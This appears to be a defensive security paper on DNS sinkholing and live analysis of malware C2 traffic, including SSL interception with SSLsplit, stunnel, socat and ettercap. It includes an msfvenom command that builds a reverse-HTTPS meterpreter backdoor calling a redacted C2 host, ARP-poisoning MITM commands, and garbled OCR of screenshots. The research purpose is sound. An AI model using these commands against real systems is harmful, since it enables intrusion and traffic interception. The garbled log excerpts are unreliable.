Mar 20 07:95:95 DNS named[2041]; ZOLE XALING DIOCKEEGIOMMAINS.ZONE:16: ignoring Out-01-ZONE Data (googl Mar 20 07:49:39 DNS named[2041]; ZONE example.com/IN: loaded serial 1 Mar 20 07:49:39 DNS named[2041]; /etc/bind/blockeeddommains.zone:17: ignoring out-of-zone data (examp	Nane: example.com Address: 127.0.0.1
Mar 20 07:49:39 DNS named[2041]: zone google.com/IN: loaded serial 1 Mar 20 07:49:39 DNS named[2041]: all zones loaded Mar 20 07:49:39 DNS named[2041]: running	> sourabh.example.com Server: [192.168.137.137] Address: 192.168.137.137
Mar 20 07:49:35 DNS named[2041]: zone example.com/IN: sending notifies (serial 1) Mar 20 07:49:39 DNS named[2041]: zone google.com/IN: sending notifies (serial 1) uburtu@DNS:-5 []	DNS request timed out. timeout was 2 seconds. Name: sourabh.example.com Address: 127.0.0.1
	> sourabh.google.com Server: [192.168.137.137] Address: 192.168.137.137
	Name: sourabh.google.com Address: 127.0.0.1

Figure 7: Resolution of specific domain as 127.0.0.1

7. For the advanced version, the zone file can include the IP address of the server, which contains all the software, monitoring and analysis tools for further analysis. The following screenshot (Figure 8) depicts that the requests to example.com and sourabh.example.com were redirected to a particular server (X.X.37.220), which can later be redirected to the tools (running on X.X.37.220) for malware analysis. Here, observe the IP address in the menu bar of the browser when example.com was accessed.



Figure 8: Configurations for X.X.37.220

4.3. How to Automate Blacklisting

The above scenario demonstrates how a DNS Sinkhole can be configured manually. However, the concern here is that there are thousands of blacklisted domains, and such lists frequently change, making it difficult to add these domains manually.

Here, Python (Sweigart, 2015) and other scripting languages can be used as an aid. A sample Python script, documented in Appendix – G, can help in automating the process. This sample script does the following:

1. Downloads the list of blocked domains from **malwaredomains.com**. Sourabh Saxena, sourabhsaxena25@gmail.com

- 2. Creates a **blockeddomains.conf** file for all blocked domains.
- 3. Creates a **blockeddomains.zone** file for all blocked domains.
- 4. Saves both these files at the etc/bind/ location.

The following screenshot shows the execution of the Python script:



Figure 9: Resolution of specific domains to X.X.37.220

This Python script can be executed using a Shell script as shown below, apart from other commands:

#!/bin/sh

python3 /home/ubuntu/Desktop/automatebindubuntu.py

#Please change the path of above python script

#'rndc flush' command too can be used to avoid rndc related error on bind restart

/usr/sbin/service bind9 restart

#ensure the full path for 'service' command using 'which service' command

The following screenshot shows **automatebindubuntu.py** and **shell.sh** at the given path (i.e. within the Desktop directory) with the list of all files at /**etc/bind**/ before

and after the execution of **shell.sh**. It also reflects the status of the BIND service after the execution of **shell.sh**.

률 ubuntu@DNS: ~				9 23
ubuntu@DNS:~\$ 1s /ho	ome/ubuntu/	Desktop/		
automatebindubuntu.	py shell.s	h		
ubuntu@DNS:~\$ sudo (chmod +x /h	ome/ubuntu/Desktop/shell.s	h	
ubuntu@DNS:~\$ 1s /ho	ome/ubuntu/	Desktop/		
automatebindubuntu.	py shell.s	h		
ubuntu@DNS:~\$ 1s /et	tc/bind			
bind.keys db.empty	named.c	onf.default-zones zones.r	fc1918	
db.0 db.local	named.c	onf.local		
db.127 db.root	named.c	onf.options		
db.255 named.com	nf rndc.ke	У		
ubuntu@DNS:~\$ sudo ,	/home/ubunt	u/Desktop/shell.sh		
ubuntu@DNS:~\$ 1s /et	tc/bind			
bind.keys	db.127	db.root	named.conf.options	3
blockeddomains.conf	db.255	named.conf	rndc.key	
blockeddomains.zone	db.empty	named.conf.default-zones	zones.rfc1918	=
db.0	db.local	named.conf.local		
ubuntu@DNS:~\$				
ubuntu@DNS:~\$ sudo s	service bin	d9 status		
 bind9.service - B 	IND Domain	Name Server		
Loaded: loaded (/lib/system	d/system/bind9.service; en	abled; vendor prese	et: en
abled)				
Drop-In: /run/syst	temd/genera	tor/bind9.service.d		
└─50-ins:	serv.conf-\$	named.conf		
Active: active ()	running) si	nce Tue 2016-03-22 14:36:2	5 PDT; 31s ago	
Docs: man:named	d(8)			
Process: 2333 Exec	cStop=/usr/	sbin/rndc stop (code=exite	d, status=0/SUCCESS	5)
Main PID: 2338 (nar	med)			
CGroup: /system.s	slice/bind9	.service		
L_2338 /1	usr/sbin/na	med -f -u bind		
Mar 22 14:36:56 DNS	named[2338]: /etc/bind/blockeddomain	s.zone:2222: 1gnori	Lm)
Mar 22 14:36:56 DNS	named[2338]: /etc/bind/blockeddomain	s.zone:2223: ignori	m)
Mar 22 14:36:56 DNS	named[2338]: /etc/bind/blockeddomain	s.zone:2224: 1gnori	
Mar 22 14:36:56 DNS	namea[2338	J: /euc/bind/blockeddomain	s.zone:2225: 1gnori	·····) -

Figure 10: Execution of Shell script and BIND status

The above shell script can be scheduled to run on a monthly basis by first executing the following command: **sudo crontab -e**

Then, enter the following command as a cron job:

30 21 1 * * /home/ubuntu/shell.sh

This command runs the shell script at 09:30 P.M. on the first day of every month.

The following screenshots display when the job was scheduled using crontab to run daily at a given time and also, what the status was for the cron before and after the

specified time the job was scheduled to run for. The status of the BIND service after the execution of **shell.sh** through this scheduled job is shown below:



Figure 11: Status of the job

월 ubuntu@DNS: ~
Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
ubuntu@DNS:~\$ date
Fue Mar 29 23:38:09 FDT 2016
ubuntu@DNS:~\$ sudo service cron status
 cron.service - Regular background program processing daemon
Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2016-03-29 23:08:56 PDT; 29min ago
Docs: man:cron(8)
Main FID: 708 (cron)
CGroup: /system.slice/cron.service
└708 /usr/sbin/cron -f
Mar 29 23:34:01 DNS CEON(//01): (FOOT) KELUKU (CFONEBS/FOOT)
Mar 29 23:36:01 DNS CRON(2163): pam Unix(cron:session): session opened for User root by (Ula=U)
der 25 25.50 bis Ckon(1201). (100) deb (//houe/dubicu/bestop/sieii.si) Warning, Journal has been rotated since unit was started. Loc output is incomplete or unavailable
Autrial Most a la concentration de la concentr
bind, keys blockeddomains, zone db, 127 db, empty db, root named, conf, default-zones named, conf, options zones.rfc1918
blockedomains.conf db.0 db.25 db.local named.conf named.conf.local rndc.kev
buntu@DNS:~S sudo service bind9 status
bind9.service - BIND Domain Name Server
Loaded: loaded (/lib/systemd/system/bind9.service; enabled; vendor preset: enabled)
Drop-In: /run/systemd/generator/bind9.service.d
└─50-insserv.conf-\$named.conf
Active: active (running) since Tue 2016-03-29 23:36:09 PDT; 2min 58s ago
Docs: man:named(8)
Process: 2171 ExecStop=/usr/sbin/rndc stop (code=exited, status=0/SUCCESS)
Main PID: 2177 (named)
CGroup: /system.slice/bind9.service
└2177 /usr/sbin/named -f -u bind
4- 00 20-00.72 NMC
dar 29 23130136 DAS hamed[21//]; zone unitormescomando.com.af/nx:loaded serial 2010529
Nai 25 25.50.50 bas hamed(21/7), zohe sedealahizta unin-edu al/An. 10aded selat 2010025
Mar 29 23:39:00 DNs named[217]]; zohe ich altitelisterint: avded serial 2016/029
Mar 29 23:39:02 DNS named[2177]: zone comunadenilar.gob.ar/IN: loaded serial 20160329
Mar 29 23:39:04 DNS named[2177]: zone secured-document.bbyysanluiscapital.org.ar/IN: loaded serial 20160329
Mar 29 23:39:06 DNS named[2177]: zone ausloanscommercial.com.au/IN: loaded serial 20160329
Mar 29 23:39:06 DNS named[2177]: zone 0.in-addr.arpa/IN: loaded serial 1
Mar 29 23:39:07 DNS named[2177]: zone bringitbackcc.asia/IN: loaded serial 20160329
Mar 29 23:39:07 DNS named[2177]: zone 127.in-addr.arpa/IN: loaded serial 1
ubuntu@DNS:~\$

Figure 12: Status of BIND after a specific time specified in the cron job

In the above example, the domain list was fetched from

<u>http://www.malwaredomains.com/</u>. There are different sites that keep track of the Sourabh Saxena, sourabhsaxena25@gmail.com

malicious domains and the IP addresses of the C2 center. These are listed in Appendix – D that provides resources from which the blacklisted domain names/IP addresses can be added in DNS.

4.4. Limitations of This Approach

The DNS Sinkhole approach has its limitations:

- It is mainly used for identification and blocking of the traffic to the blacklisted domains rather than identification or removal of malware. Though, once the traffic and domain are identified and blocked, research teams can take actions like the removal of malware, cleaning of the environment and further investigation of the malware using standard security procedures to overcome this limitation.
- It cannot identify and block the traffic of all malware that use IP addresses rather than domains. Blocking of such outbound requests at the firewall level can overcome this issue. The environment configured for Live Traffic is going to be used to overcome this.
- It cannot identify malware that uses its own DNS service. Any DNS traffic that uses the DNS, other than that owned or authorized by the organization, should be monitored or blocked.
- The administrator of the sinkhole needs to ensure security best practices for DNS servers, to avoid issues and attacks like short TTL, cache poisoning, and other DNS based attacks.

5. Live Traffic Analysis

DNS Sinkhole is good to block the malware activity if malware is using the domains of its C2. However, what if a system gets infected by malware that uses the IP address of C2. But what if it's using SSL as well? These will ultimately pose difficulty in

analyzing the traffic and is where an environment for live traffic analysis would be of help. Other factors highlighted in Section 2.2 also demonstrate the need for live traffic analysis. This environment will cover even few of the limitations highlighted for DNS Sinkhole.

Figure 13 provides a simple overview of environment for live analysis, infected machine, and the C2. Before moving forward let's look into a real scenario where the virus is using SSL, traffic for which has been explained briefly in below section. Please refer to Appendix – F for a detailed flow, screenshots, and directions on how to create the below-highlighted scenario.



Figure 13: Environment for Live Traffic Analysis

5.1. SSL-Based Malware Traffic: Real Scenario

To demonstrate the encrypted traffic and the difficulty which an analyst faces, a virus.exe was hosted on a server (Kali) to be delivered to infect the victim's machine. This backdoor on execution connects to its C2 center (X.X.37.220) over SSL. A binary payload was created using the following command:

msfvenom -p windows/meterpreter/reverse_https LHOST=X.X.37.220 LPORT=443 -f exe > virus.exe

Screenshots of these malware interactions after decrypting the traffic in cleartext, using the following mentioned tools and environments, have been included in Appendix -F.

Following are the screenshots of the malware traffic over SSL to and from its CC:

1	Local Area Connection	4							
File	Edit View Go	Capture Analyze Stat	istics Telephony Wireles	s Tools He	elp				
	📕 🙋 🛞 📗 🛅	🕅 🖸 I 🍳 👄 🔿 😂	T 🞍 📃 🗨 Q	Q, 🎹					
	cp.stream eq 0							\times \rightarrow \cdot	Expression +
No.	Time	Source	Destination	Protocol	Length Info				*
	18 8.582872	192.168.1.102	.37.220	TCP	66 1144 → 443 [SYN] S	eq=0 Win=8192 Le	n=0 MSS=1460 W	S=4 SACK_PERM=1	
	20 8.915896	. 37.220	192.168.1.102	TCP	66 443 → 1144 [SYN, A	CK] Seq=0 Ack=1	Win=29200 Len=	0 MSS=1460 SACK_PERM=1	WS=128
	21 8.916145	192.168.1.102	.37.220	TCP	54 1144 → 443 [ACK] S	eq=1 Ack=1 Win=6	5700 Len=0		
	22 9.031975	192.168.1.102	. 37.220	TLSv1.2	212 Client Hello				
	24 9.599105	.37.220	192.168.1.102	TCP	60 443 → 1144 [ACK] S	eq=1 Ack=159 Win	=30336 Len=0		
	25 10.082977	. 37.220	192.168.1.102	TLSv1.2	1387 Server Hello, Cert	ificate, Server	Key Exchange,	Server Hello Done	*
			N&U4.(.' 1'Rp\$I)< H+u0	,.+.\$.	. # . `x. <k[0.< th=""><th>.}</th><th></th><th></th><th></th></k[0.<>	.}			
00000000	p.g=HTZ%.NH 3 client pkt(s). 502 server pl Entire conversation (85	L{K;]qt.Z InNF[ZZ*=5D.6b (zzzz) stume. 3 kB)	T.@9.68e.8V^ 3\$.J`.wyt: Show data a	s ASCII	.N 1;a}.\be5.". bz4wZp}036"K:L				* III •
	Find:					Find Next	ts: 1429 · Displayed	d: 1181 (82.6%)	Profile: Default

Figure 14: Traffic over SSL

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help	
📶 🔳 🔬 🕲 🛄 🔀 🛅 9. 👳 🕾 🗿 🖢 🚍 🗐 9. 9. 9. 9. 11	
tcp.stream eq 2	Expression +
No. Time Source Destination Protocol Length Info	×
4045 922.879859 .37.220 192.168.1.102 TLSv1 320 Application Data, Application Data	a
Wireshark - Follow TCP Stream (tco.stream eq 2) - wireshark pcaping 78AABE26-8AFD-4FBB-848F-899EC8248E87 20160	
	030 Win=185856 Len=0
\XW+V9.X.W*L.1h=.Ct	184 Win=185856 Len=0
5./.8.2.	T
QMEW#.*I6\$p2[aI.^]Ms*\V. p	
5	
0.1.0oldhxyi0	
1403240116587. 24032101165870 1 0 U oldbyvi0 "0	
. *.H	
E	
i.?[.Ihlt07p.]	
0.00.0	Â
	E
256 client pkt(s), 347 server pkt(s), 256 turns.	
Entire conversation (413 kB) Show data as ASCII Stream 2	
Find: Find Next	ets: 4056 · Displayed: 980 (24.2%) · Dropped: 0 (0.0%) Profile: Default

Figure 15: Traffic over SSL

From the encrypted flow above, it's clear that it won't be possible to understand the process involved like, what commands are being sent to the malware or what information is being transferred to C2.

We will now configure different environments which will help in overcoming these limitations. These environments will assist in redirecting the traffic from infected Sourabh Saxena, sourabhsaxena25@gmail.com machines to the server configured with tools for live traffic analysis. This traffic will then be redirected to C2. Responses from C2 will be sent back to the server, which will then be redirected back to the infected machine. Thus, there would be no discontinuity in the connection between the infected machine and its C2, while the researchers would be able to continue their observations and analysis (Refer to Figure 13 in above section.)

Let's first start with the cleartext communication and then look at the malware traffic over SSL.

5.2. Live traffic analysis of malware using cleartext protocol

5.2.1. Components required to set the environment

For analyzing the unencrypted traffic of malware, two components are required: an infected PC and a machine that can work as a router and has the tools, like TCPDump, Cuckoo, Yara, ssdeep, etc. for sniffing and further analysis. This router will be located in the middle of the traffic between the malware and its C2, and the tools will work as a proxy. (Note: Ubuntu, a virtual machine enabled with DHCP, will be used for this paper. Images like REMnux, SIFT, Kali and many more can also be used.)

5.2.2. How to set up an environment

To convert Ubuntu into a router, add two network interface cards to Ubuntu; one (ens34 - 192.168.111.X) for the isolated LAN where the infected machine would be placed and the other (ens33 - 192.168.1.X) for the WAN with internet access.

Enable IP Forwarding by uncommenting **net.ipv4.ip_forward=1** in the /etc/sysctl.conf file and having the following rules in the IP tables (Nigel, 2015):

sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE sudo iptables -A FORWARD -i ens33 -o ens34 -m state -state RELATED,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -i ens34 -o ens33 -j ACCEPT

There are several methods to route the traffic from infected machines through this router. Some of the approaches are ARP poisoning, DNS spoofing, modifying the hosts Sourabh Saxena, sourabhsaxena25@gmail.com

file, setting up Ubuntu as the gateway and DNS as the IP address of the WAN gateway. In any case, the traffic has to be routed to any tool running (e.g. on port 8080) in the router, then, rather than **FORWARD**. The following rules should be used:

sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

The log or output of the tools for the traffic can then be used for further analysis. The same router configuration should be used for SSL traffic as well.

5.3. Live traffic analysis of malware over SSL

For the analysis of any traffic over SSL, decryption and re-encryption are critical. This is not just to obtain cleartext traffic, which can be retrieved by tools, but also to maintain the connection of malware with its C2 center. There are several approaches and tools to obtain cleartext traffic. This paper examines several.

The environment and tools mentioned below can be used not only for Windows machines but also for other infected platforms, devices and operating systems like Android and iOS. The screenshots for all these tools and commands have been compiled in Appendix - F.

Create SSL certificates considering the security best practices in mind (Gigler, Coates, Wichers, & Reguly, 2016).

5.3.1. Components required to set an environment for SSL traffic analysis

The basic components are the same as mentioned for unencrypted traffic. A few tools that can decrypt and re-encrypt traffic for further analysis are needed: (a) SSLsplit, (b) stunnel, (c) socat, (d) ettercap. These tools are capable of terminating the SSL connection while acting as a server for malware or service that require SSL, and then re-initiates the SSL connection with the actual server behaving like a client/malware.

5.3.2. How to set up an environment

The router configuration for SSL based traffic is the same as above, except that the FORWARD rule is not used. This is because the inbound traffic is redirected to the tools and again redirected from the tool to the network interface having internet connectivity. To achieve this, PREROUTING is used, and other rules are used to route the traffic to and from the tools mentioned below.

SSLsplit: This tool supports plain TCP, plain SSL, HTTP, HTTPS over IPv4 and IPv6 (Roethlisberger, 2009). Use the following command to install SSLsplit:

sudo apt-get install sslsplit

Then, create a self-signed CA certificate using the following commands. This certificate will be used by the tool to interact with the client (SSL-based service):

sudo OpenSSL genrsa -out sslsplit.key 2048 sudo OpenSSL req -new -x509 -days 365 -key sslsplit.key -out sslsplit.crt For pem format: sudo openssl x509 -in sslplsplit.crt -out sslsplit.pem -outform PEM

Now, to execute the SSLsplit tool, use the following commands:

sudo ./sslspplit -D -l /path/sslconnection.log -j /tmp/sslsplit -S logs/ -k /path_of_key/sslsplit.key -c /path_of_cert/sslsplit.crt https 0.0.0.0 8443 tcp 0.0.0.0 8080

-D is used to display the connections in the console, and all cleartext traffic is logged into files (one file per connection) at the **/tmp/sslsplit/logs** directory created before the execution of the above command. These files can then be used for further analysis and by other tools. The **sslconnection.log** will save all the SSL connections. In case cleartext traffic of other protocols is required, change the protocol from **https** to **ssl** and the port as well, including the rules in IP tables.

STUNNEL: This tool supports protocols like cifs, connect, imap, ACAP, nntp, pgsql, pop3, proxy, smtp, socks, https, etc. It can support any protocol until its TCP does

not use multiple connections and doesn't depend on Out-Of-Band data. Remote sites cannot use application-specific protocols (Trojnara, n.d.).

For this paper, stunnel will be used in the server and the client mode. Stunnel in the server mode will negotiate with clients like the browser and will negotiate with the actual server (for which the traffic has been generated by the browser) as a client. The approach of setting rules in IP tables will be the same as mentioned earlier.

Following are the steps to install the tool and to create the SSL certificate, apart from the rules of iptables mentioned above:

1. Use the following command to generate a PEM certificate:

sudo openssl req -new -out sslsplit.pem -keyout sslsplit.pem -nodes -x509 -days 365

2. Use the following command to install the stunnel (version 4 was used for this paper:

sudo apt-get install stunnel4

To enable the stunnel, enter the following command and change the value of **enabled** from 0 to 1:

sudo vi /etc/default/stunnel4

3. Copy the configuration file to the /etc/stunnel directory using the following command:

sudo cp /usr/share/doc/stunnel4/examples/stunnel.conf-sample /etc/stunnel/stunnel.conf

4. Open this configuration file and set the server and the client as given below.

a) For the server:

[https] client = no accept = 8443 connect = 8080

cert = /path_to_pem_certificate/sslsplit.pem

b) For the client: client = no accept = 8443 connect = CC IP OR DOMAIN:443

This initiates the stunnel in the server mode on port 8443 and in the client mode on port 8080. The client then connects to facebook.com. For malware, this can be the domain of malware or the IP address. Moreover, uncomment options like **foreground** and **debug**, if required.

5. Use the following command to launch the stunnel:

sudo stunnel4 /etc/stunnel/stunnel.conf

6. Finally, run **tcpdump** on the local interface to sniff and analyze the cleartext communication and save the logs in a file:

sudo tcpdump -v -i lo -w sniff.pcap

Stunnel can be used with a proxy as well by adding **protocol** = **proxy** in the server section and disabling its client mode, in conjunction with any proxy like SQUID, HAProxy, TCPProx, or socat, which can act as a client. This will help in maintaining the original domain in the request and avoid giving the domain (CC_IP_OR_DOMAIN, in the above case) explicitly in the **Connect** in the client mode.

SOCAT: It is used as a relay between independent channels by establishing bidirectional byte streams and by transferring data between them. The relay can be used for mechanisms like SSL sockets, files, proxy CONNECT connections, pipe, device (serial line or pseudoterminal), socket (UNIX, TCP, UDP, IP6, raw), a file descriptor, a program and much more for a combination of these. Traffic can be dumped in a hex or text format (Rieger, 2000). Follow the steps below for using socat:

1. Use the following command to install socat:

sudo apt-get install socat

 Create the certificate as mentioned above for stunnel and then, execute the following two commands to run socat at ports 8443 and 8080. Relay traffic from 8080 to and from the C2 center of the malware:

sudo socat -v openssl-listen:8443,cert=cert.pem,verify=0,reuseaddr,fork tcp4:localhost:8080 sudo socat -v tcp4-listen:8080,reuseaddr,fork ssl:IP/Domain of CC:443,verify=0

3. Traffic can be sniffed at the local interface for further analysis.

ETTERCAP: This tool supports many UDP and TCP protocols, including SSL MITM attacks (available in the ARP mode), sniffing and other features like logging (Ornaghi & Valleri, 2004).

Use the following command to install ettercap:

sudo apt-get install ettercap

ARP-based sniffing: This is a cleaner approach as there is no need to configure the affected machine. A few settings have been provided below, which are required before initiating ARP Poisoning:

- Set the UID and GID to 0 (zero) in the /etc/ettercap/etter.conf file and uncomment the appropriate firewall rules in the etter.conf file. As Ubuntu was used for the following, the rules for iptables are uncommented.
- 2. The infected machine (192.168.1.8) and the machine (192.168.1.101) with ettercap should be in the same LAN with **192.168.1.1** as the gateway.

Once the above settings are configured and the environment is ready, execute the following code:

sudo ettercap -TM arp:remote /192.168.1.8// /192.168.1.1//

When the above code is executed, all the traffic would pass through **192.168.1.101** and can be seen as cleartext in the console. Traffic can be logged, piped or redirected to the file for further analysis. There is no need to configure iptables or the IP Forwarding in Ubuntu for the ARP mode.

5.3.3. Manipulation of Traffic

Multiple instances of the above tools can be initiated to be used in combinations or with other tools as well. These combinations would help even in situations where there may be a requirement to modify the traffic. In such cases, tools like "Burp" or any other proxy can be used between two stunnels/socat (or other tools for decryption/reencryption). Tools like Netsed work even for undocumented protocols and are used for manipulating traffic (Michal Zalewski, 2014). Analysis of DNS logs/traffic too would be very important. Thus, having a DNS in the environment helps.

5.3.4. Limitations

It would be difficult to analyze the traffic if the traffic of the protocol(s) used by malware cannot be parsed by tools or if the traffic is encrypted by malware at the application layer as well as the network layer. This includes custom protocol(s) if there are any in use,

6. Conclusion

With the popularity of malware, which can use domain or IP address of its C2 and the SSL for encryption, the two environments mentioned in this paper have become the need of the hour. These can help Forensics teams, Incident Handlers, Malware Analyst and other teams not just to collaborate on results from different logs, alerts, services, devices, but also in the identification of malware, further analysis and actions like understanding the actual impact, blocking of malicious activities by stopping a malware from contacting & receiving commands from its C2 center or to analyze its DNS interaction. Automated updating of the Sinkhole for the blacklisted domains, as Sourabh Saxena, sourabhsaxena25@gmail.com

Demystifying Malware Traffic | 28

demonstrated, can help teams to keep their DNS Sinkhole environments up to date. These also help in the analysis of even the encrypted malware traffic, thus resulting in the demystification of malware traffic and in the identification of adversaries in real time. The environments explained are even capable of modifying the malware traffic to send only the useless information to C2 while analysis continues, without interrupting the connection between malware and its C2.

All these can be achieved even when these malware are using techniques like encryption, polymorphism, metamorphism, zero-day exploits, frequent change in the IP address or the domain of C2, time-based attacks, and dead code insertion. This is because any C2-based malware will have to connect to its C2 to get the commands or to send the data to its attacker and that's where these two methods can be utilized easily. These environments are also effective when the malware has the capability to detect the virtualization or to kill the antivirus. A user can directly use the infected machine for the analysis without putting the malware sample in any virtual environment for the analysis. And the two methods either don't require any configuration change in the infected system or require the least amount of changes.

As demonstrated, these environments and their components are not only cost effective but also provide a full control to its users/researchers, as all these tools and environments are and can be configured using freeware and open-sources. In closing, there are many tools and Operating Systems (OS) available to analyze the traffic as well as the malware itself. Thus, setting up an environment should not be limited to just the tools mentioned in this paper. Tools/OS like SQUID, Cain and Able, DSniff, Wireshark, Kali, and REMnux among others should be explored further to satisfy specific requirements.

7. References

- Monteith, K. (2010, February 10). Survey Results: PCI Standards Helpful, Confusing and Necessary | Practical Ecommerce. Retrieved from http://www.practicalecommerce.com/articles/1641-Survey-Results-PCI-Standards-Helpful-Confusing-and-Necessary
- Weber, D. (2012, September). TRANSFORMING TRADITIONAL SECURITY STRATEGIES INTO AN EARLY WARNING SYSTEM FOR ADVANCED THREATS. Retrieved from https://www.emc.com/collateral/software/solutionoverview/h11031-transforming-traditional-security-strategies-so.pdf
- Albitz, P., & Liu, C. (2016, August 7). BIND9ServerHowto Community Help Wiki. Retrieved August 13, 2016, from https://help.ubuntu.com/community/BIND9ServerHowto
- Akamai. (2016). *Security Compliance | Akamai*. Retrieved from https://www.akamai.com/us/en/resources/security-compliance.jsp
- Grimes, R. A. (2012, August 13). *9 popular IT security practices that just don't work* | *InfoWorld*. Retrieved from http://www.infoworld.com/article/2617998/security/9popular-it-security-practices-that-just-don-t-work.html
- LaRiza, V. (2015, April 1). New Malware Attacks On The Threat Horizon OpenDNS Umbrella Blog. Retrieved from https://labs.opendns.com/2015/04/01/newmalware-attacks-on-the-threat-horizon/
- Nieto, J. (2015, December 13). A Network Traffic Analysis Exercise ~ Hacking while you're asleep. Retrieved from http://www.behindthefirewalls.com/2015/12/anetwork-traffic-analysis-exercise.html
- Gigler, T., Coates, M., Wichers, D., & Reguly, T. (2016, June 19). Transport Layer Protection Cheat Sheet - OWASP. Retrieved from https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet Rouse, M. (2015, July). What is DNS attack? - Definition from WhatIs.com. Retrieved from http://searchsecurity.techtarget.com/definition/DNS-attack

- Bambenek, J. (2015, June 4). Principles of Malware Sinkholing Dark Reading. Retrieved from http://www.darkreading.com/partner-perspectives/generaldynamics-fidelis/principles-of-malware-sinkholing/a/d-id/1319769
- Yim, K. (2010). Malware Obfuscation Techniques: A Brief Survey. Retrieved from https://pdfs.semanticscholar.org/0401/3804edf3e86218d15868269a355dd3501c0f .pdf
- Myers, L. (2013, December). *Why You Need an Outbound Firewall*. Retrieved from https://www.intego.com/mac-security-blog/why-you-need-an-outbound-firewall/
- Sweigart, A. (2015). *Automate the Boring Stuff with Python*. Retrieved from https://automatetheboringstuff.com/
- Nigel. (2015, August). *IptablesHowTo*. Retrieved from https://help.ubuntu.com/community/IptablesHowTo
- Zalewski, M. (2014). *foxsen/netsed: small tool to sed socket contents*. Retrieved from https://github.com/foxsen/netsed
- Roethlisberger, D. (2009). SSLsplit transparent SSL/TLS interception (SSLsplit). Retrieved from http://www.roe.ch/SSLsplit
- Trojnara, M. (n.d.). *stunnel TLS Proxy*. Retrieved from https://www.stunnel.org/static/stunnel.html
- Rieger, G. (2000). socat. Retrieved from http://www.dest-unreach.org/socat/
- Virgillito, D. (2014, September). *How a DNS Sinkhole Can Protect Against Malware -InfoSec Resources*. Retrieved from http://resources.infosecinstitute.com/dnssinkhole-can-protect-malware/
- Ornaghi, A., & Valleri, M. (2004). *Ettercap Home Page*. Retrieved from https://ettercap.github.io/ettercap/

Appendix - A

Security Best Practices While Setting Up DNS Server For DNS Sinkhole

If the DNS Sinkhole is not configured securely, it may backfire. It does so if any attack is initiated on the sinkhole environment or the weakly configured DNS service. Following are a few security best practices to set a secure DNS Sinkhole:

- For security reasons, recursion should be disabled on internet-facing DNS servers of any organization to avoid attacks like DoS, Cache Poisoning, DNS Amplification Attacks, etc.
- 2. Internet-facing DNS Servers should answer to only those queries that they are authoritative for and for child domains. This prevents DNS Cache Snooping attacks.
- 3. Disable Zone Transfer and limit it only for slaves.
- 4. DNS Transaction/Query Identifier and the source port should be randomized.
- 5. Maintain a Split DNS configuration. The internal name server answers to only the internal names and sends external names to the external name server. This external name server does a full recursion for this query and forwards it back to the internal server.
- 6. Organizations can have a stronger configuration, i.e. split–split DNS configuration, where the internal name server does not contact the external server and is responsible only for internal name resolution. There's a third name server, which receives queries for external names from inside.
- Implement security measures against attacks like DNS amplification, DoS, Cache Poisoning, Fast Flux attack, etc.

Appendix - B

General approach by organizations/users to handle malware

Different organizations use different approaches for handling malware. However, a few common approaches are the usage of AV software, IDS, IPS, and firewalls. The functionalities of these security measures are listed below, before the ways by which these can be bypassed by the malware is comprehended. Approaches used to bypass the detection have been highlighted in Appendix - C.

1. AVs: There are different approaches used by AVs to identify malware.

a. Signature-Based: AVs use virus definition to identify malware. This definition contains the signature of the malware. The signature can be a series of bytes of malware or the cryptographic hash of the malware or its section.

b. Heuristic-Based: In this approach, AV checks a few characteristics in the code to identify actions that malware may perform without having an exact signature. For example, the file with a set of instructions to open all the critical and executable files, adding a set of instructions into the executables, and reading and copying the critical files, would be flagged. AV may emulate the running of the file to detect commands and characteristics.

c. Behavior-Based: AVs check for the malicious behavior of a file for flagging it as malware. Detection with this approach is possible only when the malware is in action.

2. IDS: It can be hardware or software based and is used to analyze network and system activities for any intrusion or malicious activity or violation of rules and policies. Network-based IDS (NIDS) identifies the malicious activities on the network traffic. Host-based IDS (HIDS) identifies unauthorized activities

with the system. IDS has functionalities like gathering and analyzing the logs, generating alerts, etc. However, it is not used for blocking malicious behavior.

- 3. IPS: This is used just like IDS, but it has the capability to block, i.e. prevent, malicious activities as well.
- 4. Firewalls: This can be hardware or software based and is used to control the inbound and outbound traffic, as per the rules defined for the traffic, thus preventing unauthorized connections and traffic to or from a network. There are different kinds of firewalls, such as Stateful F/W, Proxy F/W, Application

Appendix - C

Why the above security mechanisms may miss detecting malware

There are many ways in which malware can avoid detection. Some of these are as follows:

- 1. Encrypted Traffic: By encrypting the traffic or its payload, it's possible for the malware to remain undetected.
- Oligomorphic Malware: This malware has the encrypted payloads and has the list of decryptors, randomly selected in each infection, mutating from one variation to other.
- 3. Polymorphism: A few malware change their code every time it infects the code. Each time a new decryptor is created, it can have an unlimited number of decryptors. Several techniques can be used, such as dead-code insertion, instruction substitution, etc.
- 4. Metamorphic Malware: Each time a malware infects a system, a completely new payload is written without changing the action.
- 5. Zero-Days: Zero-day malware may not get detected due to the lack of signatures.
- Frequent domain/IP changes: Malware can connect to a dedicated C2 or can get and use a list of domains/IP addresses to connect to, making detection difficult. These techniques are also known as Domain-Shadowing or Fast Flux Technologies.
- 7. Detection of AV, Virtual Machines: A few malware are capable of changing their behavior or go dormant if they detect any antivirus or environment to be a virtual machine.
- 8. Concealing the Traffic: Malware may conceal their traffic using mechanisms like TOR, I2P, etc.

- 9. Outdated updates: Malware may work well if the products and antiviruses are not up to date.
- 10. Time-Based: A few malware remain dormant and work only when there is very less security in the system or only at a specific time.
- 11. Dead Code Insertion (one of the obfuscation techniques): In this technique, a few ineffective codes are added to change the structure of the code, while maintaining the behavior.
- .sporta 12. Subroutine reordering, Code Transportation, etc. are ways to go undetected.

Appendix - D

Security Analysts and the Research teams need to keep their DNS Sinkholes updated by retrieving the latest blacklisted domains and IP addresses. The blacklisted domains and the IP addresses can be retrieved from the following sites, which maintain such records:

- http://www.malware-domains.com/
- http://www.malwaredomainlist.com/mdl.php
- www.abuse.ch SpyEye and ZeuS Trackers
- www.malwaredomains.com
- www.threatexpert.com
- https://isc.sans.edu/block.txt
- https://zeltser.com/malicious-ip-blocklists/
- http://www.malwaredomainlist.com/
- http://www.selectrealsecurity.com/public-block-lists
- b.barracudacentral.org
- bl.emailbasura.org
- bl.spamcop.net
- blacklist.woody.ch
- cbl.abuseat.org
- combined.abuse.ch
- db.wpbl.info
- dnsbl-2.uceprotect.net
